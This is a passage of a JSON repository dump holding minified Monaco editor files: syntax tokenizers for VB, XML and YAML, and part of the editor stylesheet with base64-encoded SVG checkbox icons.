\\t\\r\\n]+/,\"\"],[/(\\'|REM(?!\\w)).*$/,\"comment\"]],string:[[/[^\\\\\"]+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/\"C?/,\"string\",\"@pop\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/xml.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/xml\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={comments:{blockComment:[\"\\x3c!--\",\"--\\x3e\"]},brackets:[[\"<\",\">\"]],autoClosingPairs:[{open:\"<\",close:\">\"},{open:\"'\",close:\"'\"},{open:'\"',close:'\"'}],surroundingPairs:[{open:\"<\",close:\">\"},{open:\"'\",close:\"'\"},{open:'\"',close:'\"'}]},t.language={defaultToken:\"\",tokenPostfix:\".xml\",ignoreCase:!0,qualifiedName:/(?:[\\w\\.\\-]+:)?[\\w\\.\\-]+/,tokenizer:{root:[[/[^<&]+/,\"\"],{include:\"@whitespace\"},[/(<)(@qualifiedName)/,[{token:\"delimiter\"},{token:\"tag\",next:\"@tag\"}]],[/(<\\/)(@qualifiedName)(\\s*)(>)/,[{token:\"delimiter\"},{token:\"tag\"},\"\",{token:\"delimiter\"}]],[/(<\\?)(@qualifiedName)/,[{token:\"delimiter\"},{token:\"metatag\",next:\"@tag\"}]],[/(<\\!)(@qualifiedName)/,[{token:\"delimiter\"},{token:\"metatag\",next:\"@tag\"}]],[/<\\!\\[CDATA\\[/,{token:\"delimiter.cdata\",next:\"@cdata\"}],[/&\\w+;/,\"string.escape\"]],cdata:[[/[^\\]]+/,\"\"],[/\\]\\]>/,{token:\"delimiter.cdata\",next:\"@pop\"}],[/\\]/,\"\"]],tag:[[/[ \\t\\r\\n]+/,\"\"],[/(@qualifiedName)(\\s*=\\s*)(\"[^\"]*\"|'[^']*')/,[\"attribute.name\",\"\",\"attribute.value\"]],[/(@qualifiedName)(\\s*=\\s*)(\"[^\">?\\/]*|'[^'>?\\/]*)(?=[\\?\\/]\\>)/,[\"attribute.name\",\"\",\"attribute.value\"]],[/(@qualifiedName)(\\s*=\\s*)(\"[^\">]*|'[^'>]*)/,[\"attribute.name\",\"\",\"attribute.value\"]],[/@qualifiedName/,\"attribute.name\"],[/\\?>/,{token:\"delimiter\",next:\"@pop\"}],[/(\\/)(>)/,[{token:\"tag\"},{token:\"delimiter\",next:\"@pop\"}]],[/>/,{token:\"delimiter\",next:\"@pop\"}]],whitespace:[[/[ \\t\\r\\n]+/,\"\"],[/<!--/,{token:\"comment\",next:\"@comment\"}]],comment:[[/[^<\\-]+/,\"comment.content\"],[/-->/,{token:\"comment\",next:\"@pop\"}],[/<!--/,\"comment.content.invalid\"],[/[<\\-]/,\"comment.content\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/yaml.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/yaml\",[\"require\",\"exports\"],function(e,n){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0}),n.conf={comments:{lineComment:\"#\"},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},n.language={tokenPostfix:\".yaml\",brackets:[{token:\"delimiter.bracket\",open:\"{\",close:\"}\"},{token:\"delimiter.square\",open:\"[\",close:\"]\"}],keywords:[\"true\",\"True\",\"TRUE\",\"false\",\"False\",\"FALSE\",\"null\",\"Null\",\"Null\",\"~\"],numberInteger:/(?:0|[+-]?[0-9]+)/,numberFloat:/(?:0|[+-]?[0-9]+)(?:\\.[0-9]+)?(?:e[-+][1-9][0-9]*)?/,numberOctal:/0o[0-7]+/,numberHex:/0x[0-9a-fA-F]+/,numberInfinity:/[+-]?\\.(?:inf|Inf|INF)/,numberNaN:/\\.(?:nan|Nan|NAN)/,numberDate:/\\d{4}-\\d\\d-\\d\\d([Tt ]\\d\\d:\\d\\d:\\d\\d(\\.\\d+)?(( ?[+-]\\d\\d?(:\\d\\d)?)|Z)?)?/,escapes:/\\\\(?:[btnfr\\\\\"']|[0-7][0-7]?|[0-3][0-7]{2})/,tokenizer:{root:[{include:\"@whitespace\"},{include:\"@comment\"},[/%[^ ]+.*$/,\"meta.directive\"],[/---/,\"operators.directivesEnd\"],[/\\.{3}/,\"operators.documentEnd\"],[/[-?:](?= )/,\"operators\"],{include:\"@anchor\"},{include:\"@tagHandle\"},{include:\"@flowCollections\"},{include:\"@blockStyle\"},[/@numberInteger(?![ \\t]*\\S+)/,\"number\"],[/@numberFloat(?![ \\t]*\\S+)/,\"number.float\"],[/@numberOctal(?![ \\t]*\\S+)/,\"number.octal\"],[/@numberHex(?![ \\t]*\\S+)/,\"number.hex\"],[/@numberInfinity(?![ \\t]*\\S+)/,\"number.infinity\"],[/@numberNaN(?![ \\t]*\\S+)/,\"number.nan\"],[/@numberDate(?![ \\t]*\\S+)/,\"number.date\"],[/(\".*?\"|'.*?'|.*?)([ \\t]*)(:)( |$)/,[\"type\",\"white\",\"operators\",\"white\"]],{include:\"@flowScalars\"},[/.+$/,{cases:{\"@keywords\":\"keyword\",\"@default\":\"string\"}}]],object:[{include:\"@whitespace\"},{include:\"@comment\"},[/\\}/,\"@brackets\",\"@pop\"],[/,/,\"delimiter.comma\"],[/:(?= )/,\"operators\"],[/(?:\".*?\"|'.*?'|[^,\\{\\[]+?)(?=: )/,\"type\"],{include:\"@flowCollections\"},{include:\"@flowScalars\"},{include:\"@tagHandle\"},{include:\"@anchor\"},{include:\"@flowNumber\"},[/[^\\},]+/,{cases:{\"@keywords\":\"keyword\",\"@default\":\"string\"}}]],array:[{include:\"@whitespace\"},{include:\"@comment\"},[/\\]/,\"@brackets\",\"@pop\"],[/,/,\"delimiter.comma\"],{include:\"@flowCollections\"},{include:\"@flowScalars\"},{include:\"@tagHandle\"},{include:\"@anchor\"},{include:\"@flowNumber\"},[/[^\\],]+/,{cases:{\"@keywords\":\"keyword\",\"@default\":\"string\"}}]],string:[[/[^\\\\\"']+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/[\"']/,{cases:{\"$#==$S2\":{token:\"string\",next:\"@pop\"},\"@default\":\"string\"}}]],multiString:[[/^( +).+$/,\"string\",\"@multiStringContinued.$1\"]],multiStringContinued:[[/^( *).+$/,{cases:{\"$1==$S2\":\"string\",\"@default\":{token:\"@rematch\",next:\"@popall\"}}}]],whitespace:[[/[ \\t\\r\\n]+/,\"white\"]],comment:[[/#.*$/,\"comment\"]],flowCollections:[[/\\[/,\"@brackets\",\"@array\"],[/\\{/,\"@brackets\",\"@object\"]],flowScalars:[[/\"/,\"string\",'@string.\"'],[/'/,\"string\",\"@string.'\"]],blockStyle:[[/[>|][0-9]*[+-]?$/,\"operators\",\"@multiString\"]],flowNumber:[[/@numberInteger(?=[ \\t]*[,\\]\\}])/,\"number\"],[/@numberFloat(?=[ \\t]*[,\\]\\}])/,\"number.float\"],[/@numberOctal(?=[ \\t]*[,\\]\\}])/,\"number.octal\"],[/@numberHex(?=[ \\t]*[,\\]\\}])/,\"number.hex\"],[/@numberInfinity(?=[ \\t]*[,\\]\\}])/,\"number.infinity\"],[/@numberNaN(?=[ \\t]*[,\\]\\}])/,\"number.nan\"],[/@numberDate(?=[ \\t]*[,\\]\\}])/,\"number.date\"]],tagHandle:[[/\\![^ ]*/,\"tag\"]],anchor:[[/[&*][^ ]+/,\"namespace\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.css",
    "content": "/*!-----------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * Version: 0.10.1(ebbf400719be21761361804bf63fb3916e64a845)\n * Released under the MIT license\n * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt\n *-----------------------------------------------------------*/.builder-hidden{display:none!important;visibility:hidden!important}.builder-visible{display:inherit;visibility:visible}.monaco-action-bar{text-align:right;overflow:hidden;white-space:nowrap}.monaco-action-bar .actions-container{display:flex;margin:0 auto;padding:0;width:100%;justify-content:flex-end}.monaco-action-bar.vertical .actions-container{display:inline-block}.monaco-action-bar .action-item{cursor:pointer;display:inline-block;transition:transform 50ms ease;position:relative}.monaco-action-bar .action-item.disabled{cursor:default}.monaco-action-bar.animated .action-item.active{-webkit-transform:scale(1.272019649);transform:scale(1.272019649)}.monaco-action-bar .action-item .icon{display:inline-block}.monaco-action-bar .action-label{font-size:12px;margin-right:.3em}.monaco-action-bar .action-label.octicon{font-size:15px;line-height:35px;text-align:center}.monaco-action-bar .action-item.disabled .action-label,.monaco-action-bar .action-item.disabled .action-label:hover{opacity:.4}.monaco-action-bar.vertical{text-align:left}.monaco-action-bar.vertical .action-item{display:block}.monaco-action-bar.vertical .action-label.separator{display:block;border-bottom:1px solid #bbb;padding-top:1px;margin-left:.8em;margin-right:.8em}.monaco-action-bar.animated.vertical .action-item.active{-webkit-transform:translate(5px);transform:translate(5px)}.secondary-actions .monaco-action-bar .action-label{margin-left:6px}.monaco-action-bar .action-item.select-container{overflow:hidden;flex:1;max-width:170px;min-width:60px;margin-right:10px}.monaco-aria-container{position:absolute;left:-999em}.custom-checkbox{margin-left:2px;float:left;cursor:pointer;overflow:hidden;opacity:.7;width:20px;height:20px;border:1px solid transparent;padding:1px;-o-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;-webkit-user-select:none;-moz-user-select:none;-o-user-select:none;-ms-user-select:none;user-select:none}.custom-checkbox.checked,.custom-checkbox:hover{opacity:1}.hc-black .custom-checkbox,.hc-black .custom-checkbox:hover{background:none}.context-view{position:absolute;z-index:8}.monaco-count-badge{padding:.2em .5em;border-radius:1em;font-size:85%;font-weight:400;text-align:center;display:inline}.monaco-findInput{position:relative}.monaco-findInput .monaco-inputbox{font-size:13px;width:100%;height:25px}.fl:after{clear:both;content:\"\";display:block;visibility:hidden;height:0}.monaco-findInput>.controls{position:absolute;top:3px;right:2px}.vs .monaco-findInput.disabled{background-color:#e1e1e1}.vs-dark .monaco-findInput.disabled{background-color:#333}.monaco-findInput.highlight-0 .controls{animation:monaco-findInput-highlight-0 .1s linear 0s}.monaco-findInput.highlight-1 .controls{animation:monaco-findInput-highlight-1 .1s linear 0s}.hc-black .monaco-findInput.highlight-0 .controls,.vs-dark .monaco-findInput.highlight-0 .controls{animation:monaco-findInput-highlight-dark-0 .1s linear 0s}.hc-black .monaco-findInput.highlight-1 .controls,.vs-dark .monaco-findInput.highlight-1 .controls{animation:monaco-findInput-highlight-dark-1 .1s linear 0s}@keyframes monaco-findInput-highlight-0{0%{background:rgba(253,255,0,.8)}to{background:transparent}}@keyframes monaco-findInput-highlight-1{0%{background:rgba(253,255,0,.8)}99%{background:transparent}}@keyframes monaco-findInput-highlight-dark-0{0%{background:hsla(0,0%,100%,.44)}to{background:transparent}}@keyframes monaco-findInput-highlight-dark-1{0%{background:hsla(0,0%,100%,.44)}99%{background:transparent}}.vs .custom-checkbox.monaco-case-sensitive{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4uc3Qwe29wYWNpdHk6MDtmaWxsOiNGNkY2RjY7fSAuc3Qxe2ZpbGw6I0Y2RjZGNjt9IC5zdDJ7ZmlsbDojNDI0MjQyO308L3N0eWxlPjxnIGlkPSJvdXRsaW5lIj48cmVjdCBjbGFzcz0ic3QwIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiLz48cGF0aCBjbGFzcz0ic3QxIiBkPSJNMTQuMTc2IDUuNTkyYy0uNTU1LS42LTEuMzM2LS45MDQtMi4zMjItLjkwNC0uMjU4IDAtLjUyMS4wMjQtLjc4NC4wNzItLjI0Ni4wNDQtLjQ3OS4xMDEtLjcuMTY5LS4yMjguMDctLjQzMi4xNDctLjYxMy4yMjktLjIyLjA5OS0uMzg5LjE5Ni0uNTEyLjI4NGwtLjQxOS4yOTl2Mi43MDFjLS4wODYuMTA4LS4xNjIuMjIzLS4yMjkuMzQ0bC0yLjQ1LTYuMzU0aC0yLjM5NGwtMy43NTMgOS44MDR2LjU5OGgzLjAyNWwuODM4LTIuMzVoMi4xNjdsLjg5MSAyLjM1aDMuMjM3bC0uMDAxLS4wMDNjLjMwNS4wOTIuNjMzLjE1Ljk5My4xNS4zNDQgMCAuNjcxLS4wNDkuOTc4LS4xNDZoMi44NTN2LTQuOTAzYy0uMDAxLS45NzUtLjI3MS0xLjc2My0uODA1LTIuMzR6Ii8+PC9nPjxnIGlkPSJpY29uX3g1Rl9iZyI+PHBhdGggY2xhc3M9InN0MiIgZD0iTTcuNjExIDExLjgzNGwtLjg5MS0yLjM1aC0zLjU2MmwtLjgzOCAyLjM1aC0xLjA5NWwzLjIxNy04LjQwMmgxLjAybDMuMjQgOC40MDJoLTEuMDkxem0tMi41MzEtNi44MTRsLS4wNDQtLjEzNS0uMDM4LS4xNTYtLjAyOS0uMTUyLS4wMjQtLjEyNmgtLjAyM2wtLjAyMS4xMjYtLjAzMi4xNTItLjAzOC4xNTYtLjA0NC4xMzUtMS4zMDcgMy41NzRoMi45MThsLTEuMzE4LTMuNTc0eiIvPjxwYXRoIGNsYXNzPSJzdDIiIGQ9Ik0xMy4wMiAxMS44MzR2LS45MzhoLS4wMjNjLS4xOTkuMzUyLS40NTYuNjItLjc3MS44MDZzLS42NzMuMjc4LTEuMDc1LjI3OGMtLjMxMyAwLS41ODgtLjA0NS0uODI2LS4xMzVzLS40MzgtLjIxMi0uNTk4LS4zNjYtLjI4MS0uMzM4LS4zNjMtLjU1MS0uMTI0LS40NDItLjEyNC0uNjg4YzAtLjI2Mi4wMzktLjUwMi4xMTctLjcyMXMuMTk4LS40MTIuMzYtLjU4LjM2Ny0uMzA4LjYxNS0uNDE5LjU0NC0uMTkuODg4LS4yMzdsMS44MTEtLjI1MmMwLS4yNzMtLjAyOS0uNTA3LS4wODgtLjdzLS4xNDMtLjM1MS0uMjUyLS40NzItLjI0MS0uMjEtLjM5Ni0uMjY3LS4zMjUtLjA4NS0uNTEzLS4wODVjLS4zNjMgMC0uNzE0LjA2NC0xLjA1Mi4xOTNzLS42MzguMzEtLjkwNC41NHYtLjk4NGMuMDgyLS4wNTkuMTk2LS4xMjEuMzQzLS4xODhzLjMxMi0uMTI4LjQ5NS0uMTg1LjM3OC0uMTA0LjU4My0uMTQxLjQwNy0uMDU2LjYwNi0uMDU2Yy42OTkgMCAxLjIyOS4xOTQgMS41ODguNTgzcy41MzkuOTQyLjUzOSAxLjY2MXYzLjkwMmgtLjk2em0tMS40NTQtMi44M2MtLjI3My4wMzUtLjQ5OC4wODUtLjY3NC4xNDlzLS4zMTMuMTQ0LS40MS4yMzctLjE2NS4yMDUtLjIwMi4zMzQtLjA1NS4yNzYtLjA1NS40NGMwIC4xNDEuMDI1LjI3MS4wNzYuMzkzcy4xMjQuMjI3LjIyLjMxNi4yMTUuMTYuMzU3LjIxMS4zMDguMDc2LjQ5NS4wNzZjLjI0MiAwIC40NjUtLjA0NS42NjgtLjEzNXMuMzc4LS4yMTQuNTI0LS4zNzIuMjYxLS4zNDQuMzQzLS41NTcuMTIzLS40NDIuMTIzLS42ODh2LS42MDlsLTEuNDY1LjIwNXoiLz48L2c+PC9zdmc+\") 50% no-repeat}.hc-black .custom-checkbox.monaco-case-sensitive,.hc-black .custom-checkbox.monaco-case-sensitive:hover,.vs-dark .custom-checkbox.monaco-case-sensitive{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4uc3Qwe29wYWNpdHk6MDtmaWxsOiMyNjI2MjY7fSAuc3Qxe2ZpbGw6IzI2MjYyNjt9IC5zdDJ7ZmlsbDojQzVDNUM1O308L3N0eWxlPjxnIGlkPSJvdXRsaW5lIj48cmVjdCBjbGFzcz0ic3QwIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiLz48cGF0aCBjbGFzcz0ic3QxIiBkPSJNMTQuMTc2IDUuNTkyYy0uNTU1LS42LTEuMzM2LS45MDQtMi4zMjItLjkwNC0uMjU4IDAtLjUyMS4wMjQtLjc4NC4wNzItLjI0Ni4wNDQtLjQ3OS4xMDEtLjcuMTY5LS4yMjguMDctLjQzMi4xNDctLjYxMy4yMjktLjIyLjA5OS0uMzg5LjE5Ni0uNTEyLjI4NGwtLjQxOS4yOTl2Mi43MDFjLS4wODYuMTA4LS4xNjIuMjIzLS4yMjkuMzQ0bC0yLjQ1LTYuMzU0aC0yLjM5NGwtMy43NTMgOS44MDR2LjU5OGgzLjAyNWwuODM4LTIuMzVoMi4xNjdsLjg5MSAyLjM1aDMuMjM3bC0uMDAxLS4wMDNjLjMwNS4wOTIuNjMzLjE1Ljk5My4xNS4zNDQgMCAuNjcxLS4wNDkuOTc4LS4xNDZoMi44NTN2LTQuOTAzYy0uMDAxLS45NzUtLjI3MS0xLjc2My0uODA1LTIuMzR6Ii8+PC9nPjxnIGlkPSJpY29uX3g1Rl9iZyI+PHBhdGggY2xhc3M9InN0MiIgZD0iTTcuNjExIDExLjgzNGwtLjg5MS0yLjM1aC0zLjU2MmwtLjgzOCAyLjM1aC0xLjA5NWwzLjIxNy04LjQwMmgxLjAybDMuMjQgOC40MDJoLTEuMDkxem0tMi41MzEtNi44MTRsLS4wNDQtLjEzNS0uMDM4LS4xNTYtLjAyOS0uMTUyLS4wMjQtLjEyNmgtLjAyM2wtLjAyMS4xMjYtLjAzMi4xNTItLjAzOC4xNTYtLjA0NC4xMzUtMS4zMDcgMy41NzRoMi45MThsLTEuMzE4LTMuNTc0eiIvPjxwYXRoIGNsYXNzPSJzdDIiIGQ9Ik0xMy4wMiAxMS44MzR2LS45MzhoLS4wMjNjLS4xOTkuMzUyLS40NTYuNjItLjc3MS44MDZzLS42NzMuMjc4LTEuMDc1LjI3OGMtLjMxMyAwLS41ODgtLjA0NS0uODI2LS4xMzVzLS40MzgtLjIxMi0uNTk4LS4zNjYtLjI4MS0uMzM4LS4zNjMtLjU1MS0uMTI0LS40NDItLjEyNC0uNjg4YzAtLjI2Mi4wMzktLjUwMi4xMTctLjcyMXMuMTk4LS40MTIuMzYtLjU4LjM2Ny0uMzA4LjYxNS0uNDE5LjU0NC0uMTkuODg4LS4yMzdsMS44MTEtLjI1MmMwLS4yNzMtLjAyOS0uNTA3LS4wODgtLjdzLS4xNDMtLjM1MS0uMjUyLS40NzItLjI0MS0uMjEtLjM5Ni0uMjY3LS4zMjUtLjA4NS0uNTEzLS4wODVjLS4zNjMgMC0uNzE0LjA2NC0xLjA1Mi4xOTNzLS42MzguMzEtLjkwNC41NHYtLjk4NGMuMDgyLS4wNTkuMTk2LS4xMjEuMzQzLS4xODhzLjMxMi0uMTI4LjQ5NS0uMTg1LjM3OC0uMTA0LjU4My0uMTQxLjQwNy0uMDU2LjYwNi0uMDU2Yy42OTkgMCAxLjIyOS4xOTQgMS41ODguNTgzcy41MzkuOTQyLjUzOSAxLjY2MXYzLjkwMmgtLjk2em0tMS40NTQtMi44M2MtLjI3My4wMzUtLjQ5OC4wODUtLjY3NC4xNDlzLS4zMTMuMTQ0LS40MS4yMzctLjE2NS4yMDUtLjIwMi4zMzQtLjA1NS4yNzYtLjA1NS40NGMwIC4xNDEuMDI1LjI3MS4wNzYuMzkzcy4xMjQuMjI3LjIyLjMxNi4yMTUuMTYuMzU3LjIxMS4zMDguMDc2LjQ5NS4wNzZjLjI0MiAwIC40NjUtLjA0NS42NjgtLjEzNXMuMzc4LS4yMTQuNTI0LS4zNzIuMjYxLS4zNDQuMzQzLS41NTcuMTIzLS40NDIuMTIzLS42ODh2LS42MDlsLTEuNDY1LjIwNXoiLz48L2c+PC9zdmc+\") 50% no-repeat}.vs .custom-checkbox.monaco-whole-word{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4uc3Qwe29wYWNpdHk6MDtmaWxsOiNGNkY2RjY7fSAuc3Qxe2ZpbGw6I0Y2RjZGNjt9IC5zdDJ7ZmlsbDojNDI0MjQyO308L3N0eWxlPjxnIGlkPSJvdXRsaW5lIj48cmVjdCBjbGFzcz0ic3QwIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiLz48cGF0aCBjbGFzcz0ic3QxIiBkPSJNMTYgNC4wMjJ2LTMuMDIyaC0xNi4wMTR2My4wMjJoMy4wNDZsLTMuMDQzIDcuOTQ1aC0uMDA0di4wMWwuMDE1IDEuMDIzaC0uMDE0djEuOTkxaDE2LjAxNHYtMy4wMjNoLTF2LTcuOTQ2aDF6bS01LjkxNCA1LjMwMWMwIC4yMzMtLjAyMy40NDEtLjA2Ni41OTUtLjA0Ny4xNjQtLjA5OS4yNDctLjEyNy4yODRsLS4wNzguMDY5LS4xNTEuMDI2LS4xMTUtLjAxNy0uMTM5LS4xMzdjLS4wMzEtLjA3OC0uMTEyLS4zMzItLjExMi0uNTY2IDAtLjI1NC4wOTEtLjU2MS4xMjYtLjY1NmwuMDY5LS4xNDEuMTA5LS4wODIuMTc4LS4wMjdjLjA3NyAwIC4xMTcuMDE0LjE3Ny4wNTZsLjA4Ny4xNzkuMDUxLjIzNy0uMDA5LjE4em0tMy42OTUtNS4zMDF2Mi44OTNsLTEuMTE2LTIuODkzaDEuMTE2em0tMy4wMjYgNy4wMmgxLjU3M2wuMzUxLjkyNmgtMi4yNTRsLjMzLS45MjZ6bTguNjM1LTQuMzU0Yy0uMjA2LS4yLS40MzEtLjM4LS42OTUtLjUxMi0uMzk2LS4xOTgtLjg1My0uMjk4LTEuMzU1LS4yOTgtLjIxNSAwLS40MjMuMDItLjYyMS4wNTh2LTEuOTE0aDIuNjcxdjIuNjY2eiIvPjwvZz48ZyBpZD0iaWNvbl94NUZfYmciPjxyZWN0IHg9IjEzIiB5PSI0IiBjbGFzcz0ic3QyIiB3aWR0aD0iMSIgaGVpZ2h0PSI4Ii8+PHBhdGggY2xhc3M9InN0MiIgZD0iTTExLjIyNSA4LjM4N2MtLjA3OC0uMjk5LS4xOTktLjU2Mi0uMzYtLjc4NnMtLjM2NS0uNDAxLS42MDktLjUzLS41MzQtLjE5My0uODY2LS4xOTNjLS4xOTggMC0uMzguMDI0LS41NDcuMDczLS4xNjUuMDQ5LS4zMTYuMTE3LS40NTMuMjA1LS4xMzYuMDg4LS4yNTcuMTk0LS4zNjUuMzE4bC0uMTc5LjI1OHYtMy4xNTRoLS44OTN2Ny40MjJoLjg5M3YtLjU3NWwuMTI2LjE3NWMuMDg3LjEwMi4xODkuMTkuMzA0LjI2OS4xMTcuMDc4LjI0OS4xNC4zOTguMTg2LjE0OS4wNDYuMzE0LjA2OC40OTguMDY4LjM1MyAwIC42NjYtLjA3MS45MzctLjIxMi4yNzItLjE0My40OTktLjMzOC42ODItLjU4Ni4xODMtLjI1LjMyMS0uNTQzLjQxNC0uODc5LjA5My0uMzM4LjE0LS43MDMuMTQtMS4wOTctLjAwMS0uMzQyLS4wNC0uNjYzLS4xMi0uOTYyem0tMS40NzktLjYwN2MuMTUxLjA3MS4yODIuMTc2LjM5LjMxNC4xMDkuMTQuMTk0LjMxMy4yNTUuNTE3LjA1MS4xNzQuMDgyLjM3MS4wODkuNTg3bC0uMDA3LjEyNWMwIC4zMjctLjAzMy42Mi0uMS44NjktLjA2Ny4yNDYtLjE2MS40NTMtLjI3OC42MTQtLjExNy4xNjItLjI2LjI4NS0uNDIxLjM2Ni0uMzIyLjE2Mi0uNzYuMTY2LTEuMDY5LjAxNS0uMTUzLS4wNzUtLjI4Ni0uMTc1LS4zOTMtLjI5Ni0uMDg1LS4wOTYtLjE1Ni0uMjE2LS4yMTgtLjM2NyAwIDAtLjE3OS0uNDQ3LS4xNzktLjk0NyAwLS41LjE3OS0xLjAwMi4xNzktMS4wMDIuMDYyLS4xNzcuMTM2LS4zMTguMjI0LS40My4xMTQtLjE0My4yNTYtLjI1OS40MjQtLjM0NS4xNjgtLjA4Ni4zNjUtLjEyOS41ODctLjEyOS4xOSAwIC4zNjQuMDM3LjUxNy4xMDl6Ii8+PHJlY3QgeD0iLjk4NyIgeT0iMiIgY2xhc3M9InN0MiIgd2lkdGg9IjE0LjAxMyIgaGVpZ2h0PSIxLjAyMyIvPjxyZWN0IHg9Ii45ODciIHk9IjEyLjk2OCIgY2xhc3M9InN0MiIgd2lkdGg9IjE0LjAxMyIgaGVpZ2h0PSIxLjAyMyIvPjxwYXRoIGNsYXNzPSJzdDIiIGQ9Ik0xLjk5MSAxMi4wMzFsLjcyOC0yLjAzMWgyLjIxOWwuNzc4IDIuMDMxaDEuMDgybC0yLjQ4NS03LjE1OGgtLjk0MWwtMi40NDEgNy4wODYtLjAyNS4wNzJoMS4wODV6bTEuODI3LTUuNjA5aC4wMjJsLjkxNCAyLjc1M2gtMS44NDFsLjkwNS0yLjc1M3oiLz48L2c+PC9zdmc+\") 50% no-repeat}.hc-black .custom-checkbox.monaco-whole-word,.hc-black .custom-checkbox.monaco-whole-word:hover,.vs-dark .custom-checkbox.monaco-whole-word{background:url(\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiI+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4uc3Qwe29wYWNpdHk6MDtmaWxsOiMyNjI2MjY7fSAuc3Qxe2ZpbGw6IzI2MjYyNjt9IC5zdDJ7ZmlsbDojQzVDNUM1O308L3N0eWxlPjxnIGlkPSJvdXRsaW5lIj48cmVjdCBjbGFzcz0ic3QwIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiLz48cGF0aCBjbGFzcz0ic3QxIiBkPSJNMTYgNC4wMjJ2LTMuMDIyaC0xNi4wMTR2My4wMjJoMy4wNDZsLTMuMDQzIDcuOTQ1aC0uMDA0di4wMWwuMDE1IDEuMDIzaC0uMDE0djEuOTkxaDE2LjAxNHYtMy4wMjNoLTF2LTcuOTQ2aDF6bS01LjkxNCA1LjMwMWMwIC4yMzMtLjAyMy40NDEtLjA2Ni41OTUtLjA0Ny4xNjQtLjA5OS4yNDctLjEyNy4yODRsLS4wNzguMDY5LS4xNTEuMDI2LS4xMTUtLjAxNy0uMTM5LS4xMzdjLS4wMzEtLjA3OC0uMTEyLS4zMzItLjExMi0uNTY2IDAtLjI1NC4wOTEtLjU2MS4xMjYtLjY1NmwuMDY5LS4xNDEuMTA5LS4wODIuMTc4LS4wMjdjLjA3NyAwIC4xMTcuMDE0LjE3Ny4wNTZsLjA4Ny4xNzkuMDUxLjIzNy0uMDA5LjE4em0tMy42OTUtNS4zMDF2Mi44OTNsLTEuMTE2LTIuODkzaDEuMTE2em0tMy4wMjYgNy4wMmgxLjU3M2wuMzUxLjkyNmgtMi4yNTRsLjMzLS45MjZ6bTguNjM1LTQuMzU0Yy0uMjA2LS4yLS40MzEtLjM4LS42OTUtLjUxMi0uMzk2LS4xOTgtLjg1My0uMjk4LTEuMzU1LS4yOTgtLjIxNSAwLS40MjMuMDItLjYyMS4wNTh2LTEuOTE0aDIuNjcxdjIuNjY2eiIvPjwvZz48ZyBpZD0iaWNvbl94NUZfYmciPjxyZWN0IHg9IjEzIiB5PSI0IiBjbGFzcz0ic3QyIiB3aWR0aD0iMSIgaGVpZ2h0PSI4Ii8+PHBhdGggY2xhc3M9InN0MiIgZD0iTTExLjIyNSA4LjM4N2MtLjA3OC0uMjk5LS4xOTktLjU2Mi0uMzYtLjc4NnMtLjM2NS0uNDAxLS42MDktLjUzLS41MzQtLjE5My0uODY2LS4xOTNjLS4xOTggMC0uMzguMDI0LS41NDcuMDczLS4xNjUuMDQ5LS4zMTYuMTE3LS40NTMuMjA1LS4xMzYuMDg4LS4yNTcuMTk0LS4zNjUuMzE4bC0uMTc5LjI1OHYtMy4xNTRoLS44OTN2Ny40MjJoLjg5M3YtLjU3NWwuMTI2LjE3NWMuMDg3LjEwMi4xODkuMTkuMzA0LjI2OS4xMTcuMDc4LjI0OS4xNC4zOTguMTg2LjE0OS4wNDYuMzE0LjA2OC40OTguMDY4LjM1MyAwIC42NjYtLjA3MS45MzctLjIxMi4yNzItLjE0My40OTktLjMzOC42ODItLjU4Ni4xODMtLjI1LjMyMS0uNTQzLjQxNC0uODc5LjA5My0uMzM4LjE0LS43MDMuMTQtMS4wOTc